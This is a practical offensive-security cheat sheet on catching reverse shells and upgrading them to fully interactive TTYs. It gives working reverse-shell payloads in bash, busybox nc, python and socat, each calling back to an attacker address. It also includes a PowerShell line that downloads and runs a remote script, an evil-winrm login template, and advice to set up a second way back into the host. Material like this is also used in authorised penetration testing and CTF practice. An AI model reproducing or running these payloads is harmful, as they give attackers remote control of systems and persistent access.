A raw reverse shell from a web exploit is a dumb shell. No tab completion, no
arrow keys, no job control. It dies if you press Ctrl-C, and it cannot run an
interactive program like su, ssh, or a text editor. Upgrade it to a full TTY
before you do real work in it, because every minute spent in a dumb shell is a
minute of typing full paths and losing the session to a stray keystroke.
Catching the shell
# plain listener
nc -lvnp 443
# better: rlwrap gives you readline, which survives more
rlwrap nc -lvnp 443
Payloads, in rough order of what tends to be present on a target:
bash -c 'bash -i >& /dev/tcp/10.10.14.5/443 0>&1'
busybox nc 10.10.14.5 443 -e /bin/sh
python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("10.10.14.5",443));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/bash")'
From a web command injection these need URL encoding for the context. revshells.com generates and encodes them.
The three-step upgrade on Linux
This is the sequence worth committing to memory.
# 1. spawn a PTY on the target
python3 -c 'import pty; pty.spawn("/bin/bash")'
# 2. background it
Ctrl-Z
# 3. fix your local terminal, then foreground
stty raw -echo; fg
Press Enter twice after fg, then set the environment the shell now deserves:
export TERM=xterm
export SHELL=bash
stty rows 50 columns 200
Use your real terminal’s size in that last line. Run stty -a in a local
terminal to read it.
If python3 is absent, the same PTY spawn has fallbacks:
script /dev/null -c bash
perl -e 'exec "/bin/bash";'
After this you have arrow keys, tab completion, a Ctrl-C that interrupts the program instead of killing your session, and working interactive tools.
socat, when you can get it there
If socat is on the target, or you can upload it, it gives a fully interactive
TTY in one step and skips the whole dance:
# listener
socat file:`tty`,raw,echo=0 tcp-listen:443
# target
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.14.5:443
Windows
Windows shells are harder to make interactive. In order of preference:
- Use
evil-winrmonce you have credentials. It is a proper shell, not an upgrade of a broken one. - Use a ConPTY upgrade for a real interactive shell:
IEX(IWR http://10.10.14.5/Invoke-ConPtyShell.ps1 -UseBasicParsing)
Invoke-ConPtyShell 10.10.14.5 443
- Use a meterpreter session when you want stability more than you want a shell.
Quick reference
| Situation | Do this |
|---|---|
| Listener | rlwrap nc -lvnp 443 |
| Spawn PTY | python3 -c 'import pty; pty.spawn("/bin/bash")' |
| No python | script /dev/null -c bash |
| Stabilise | Ctrl-Z, then stty raw -echo; fg, Enter twice |
| Environment | export TERM=xterm; stty rows 50 columns 200 |
| socat on target | socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:HOST:443 |
| Windows with creds | evil-winrm -i HOST -u USER -p PASS |
What this does not solve
A stabilised shell is still the same user with the same privileges. The upgrade buys you a usable working environment, nothing more. It also does not survive the process dying, so it is worth establishing a second, independent way back in before you start changing anything on the host.
